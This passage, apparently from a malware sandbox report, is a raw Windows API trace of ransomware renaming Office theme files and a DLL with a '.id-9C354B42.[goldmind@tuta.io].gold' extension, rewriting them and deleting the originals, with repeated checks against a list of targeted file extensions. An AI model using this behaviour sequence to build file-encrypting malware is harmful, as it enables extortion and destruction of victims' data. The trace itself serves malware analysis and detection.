(lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0096.098] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=26648) returned 1 [0096.098] CloseHandle (hObject=0x3c8) returned 1 [0096.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0096.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.124] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.124] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.125] GetLastError () returned 0x0 [0096.125] ReadFile (in: hFile=0x190, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x6818, lpOverlapped=0x0) returned 1 [0096.136] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x6820, lpOverlapped=0x0) returned 1 [0096.137] ReadFile (in: hFile=0x190, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.137] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0096.138] SetEndOfFile (hFile=0x394) returned 1 [0096.138] CloseHandle (hObject=0x394) returned 1 [0096.138] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.138] SetEndOfFile (hFile=0x190) returned 1 [0096.140] CloseHandle (hObject=0x190) returned 1 [0096.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 1 [0096.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.141] lstrlenW (lpString=".doc") returned 4 [0096.141] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".docx") returned 5 [0096.141] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.141] lstrlenW (lpString=".pdf") returned 4 [0096.141] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".xls") returned 4 [0096.141] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".xlsx") returned 5 [0096.141] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.141] lstrlenW (lpString=".ppt") returned 4 [0096.141] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.141] lstrlenW (lpString=".zip") returned 4 [0096.141] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".rar") returned 4 [0096.141] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".bz2") returned 4 [0096.141] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".7z") returned 3 [0096.141] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.141] lstrlenW (lpString=".dbf") returned 4 [0096.141] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.141] lstrlenW (lpString=".1cd") returned 4 [0096.141] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.141] lstrlenW (lpString=".jpg") returned 4 [0096.141] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.141] lstrlenW (lpString=".doc") returned 4 [0096.141] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".docx") returned 5 [0096.141] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.141] lstrlenW (lpString=".pdf") returned 4 [0096.141] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".xls") returned 4 [0096.141] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".xlsx") returned 5 [0096.141] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.141] lstrlenW (lpString=".ppt") returned 4 [0096.141] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.141] lstrlenW (lpString=".zip") returned 4 [0096.141] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".rar") returned 4 [0096.141] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.141] lstrlenW (lpString=".bz2") returned 4 [0096.141] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.142] lstrlenW (lpString=".7z") returned 3 [0096.142] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.142] lstrlenW (lpString=".dbf") returned 4 [0096.142] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.142] lstrlenW (lpString=".1cd") returned 4 [0096.142] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0096.142] lstrlenW (lpString=".jpg") returned 4 [0096.142] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.142] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.142] lstrlenW (lpString="Module.eftx") returned 11 [0096.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0096.265] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=43357) returned 1 [0096.265] CloseHandle (hObject=0x3b0) returned 1 [0096.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0096.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.504] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.520] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0096.521] GetLastError () returned 0x0 [0096.521] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xa95d, lpOverlapped=0x0) returned 1 [0096.543] WriteFile (in: hFile=0x3a8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xa960, lpOverlapped=0x0) returned 1 [0096.545] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.545] WriteFile (in: hFile=0x3a8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0096.545] SetEndOfFile (hFile=0x3a8) returned 1 [0096.545] CloseHandle (hObject=0x3a8) returned 1 [0096.545] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.545] SetEndOfFile (hFile=0x3c0) returned 1 [0096.547] CloseHandle (hObject=0x3c0) returned 1 [0096.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 1 [0096.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.581] lstrlenW (lpString=".doc") returned 4 [0096.581] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.581] lstrlenW (lpString=".docx") returned 5 [0096.582] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.582] lstrlenW (lpString=".pdf") returned 4 [0096.582] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".xls") returned 4 [0096.582] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".xlsx") returned 5 [0096.582] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.582] lstrlenW (lpString=".ppt") returned 4 [0096.582] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.582] lstrlenW (lpString=".zip") returned 4 [0096.582] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".rar") returned 4 [0096.582] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".bz2") returned 4 [0096.582] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".7z") returned 3 [0096.582] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.582] lstrlenW (lpString=".dbf") returned 4 [0096.582] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.582] lstrlenW (lpString=".1cd") returned 4 [0096.582] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.582] lstrlenW (lpString=".jpg") returned 4 [0096.582] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.582] lstrlenW (lpString=".doc") returned 4 [0096.582] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".docx") returned 5 [0096.582] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.582] lstrlenW (lpString=".pdf") returned 4 [0096.582] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".xls") returned 4 [0096.582] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".xlsx") returned 5 [0096.582] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.582] lstrlenW (lpString=".ppt") returned 4 [0096.582] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.582] lstrlenW (lpString=".zip") returned 4 [0096.582] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".rar") returned 4 [0096.582] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".bz2") returned 4 [0096.582] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString=".7z") returned 3 [0096.582] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.582] lstrlenW (lpString=".dbf") returned 4 [0096.582] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.583] lstrlenW (lpString=".1cd") returned 4 [0096.583] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0096.583] lstrlenW (lpString=".jpg") returned 4 [0096.583] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.583] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.583] lstrlenW (lpString="Pushpin.eftx") returned 12 [0096.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0096.618] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=782121) returned 1 [0096.618] CloseHandle (hObject=0x38c) returned 1 [0096.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0096.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.634] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.634] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0098.034] GetLastError () returned 0x0 [0098.034] ReadFile (in: hFile=0x190, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbef29, lpOverlapped=0x0) returned 1 [0098.092] WriteFile (in: hFile=0x3b0, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbef30, lpOverlapped=0x0) returned 1 [0098.101] ReadFile (in: hFile=0x190, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.101] WriteFile (in: hFile=0x3b0, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.101] SetEndOfFile (hFile=0x3b0) returned 1 [0098.102] CloseHandle (hObject=0x3b0) returned 1 [0098.102] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.102] SetEndOfFile (hFile=0x190) returned 1 [0098.113] CloseHandle (hObject=0x190) returned 1 [0098.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 1 [0098.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.866] lstrlenW (lpString=".doc") returned 4 [0098.866] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0098.866] lstrlenW (lpString=".docx") returned 5 [0098.866] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0098.866] lstrlenW (lpString=".pdf") returned 4 [0098.866] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0098.866] lstrlenW (lpString=".xls") returned 4 [0098.866] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0098.866] lstrlenW (lpString=".xlsx") returned 5 [0098.866] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0098.866] lstrlenW (lpString=".ppt") returned 4 [0098.867] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.867] lstrlenW (lpString=".zip") returned 4 [0098.867] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString=".rar") returned 4 [0098.867] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString=".bz2") returned 4 [0098.867] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString=".7z") returned 3 [0098.867] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0098.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.867] lstrlenW (lpString=".dbf") returned 4 [0098.867] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.867] lstrlenW (lpString=".1cd") returned 4 [0098.867] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.867] lstrlenW (lpString=".jpg") returned 4 [0098.867] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.867] lstrlenW (lpString=".doc") returned 4 [0098.867] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString=".docx") returned 5 [0098.867] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0098.867] lstrlenW (lpString=".pdf") returned 4 [0098.867] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString=".xls") returned 4 [0098.867] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString=".xlsx") returned 5 [0098.867] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0098.867] lstrlenW (lpString=".ppt") returned 4 [0098.867] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.867] lstrlenW (lpString=".zip") returned 4 [0098.867] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString=".rar") returned 4 [0098.867] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0098.867] lstrlenW (lpString=".bz2") returned 4 [0098.868] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0098.868] lstrlenW (lpString=".7z") returned 3 [0098.868] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0098.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.868] lstrlenW (lpString=".dbf") returned 4 [0098.868] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0098.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.868] lstrlenW (lpString=".1cd") returned 4 [0098.868] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0098.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0098.868] lstrlenW (lpString=".jpg") returned 4 [0098.868] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0098.868] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0098.868] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0098.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.225] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=15776) returned 1 [0099.225] CloseHandle (hObject=0x380) returned 1 [0099.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll")) returned 0x20 [0099.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 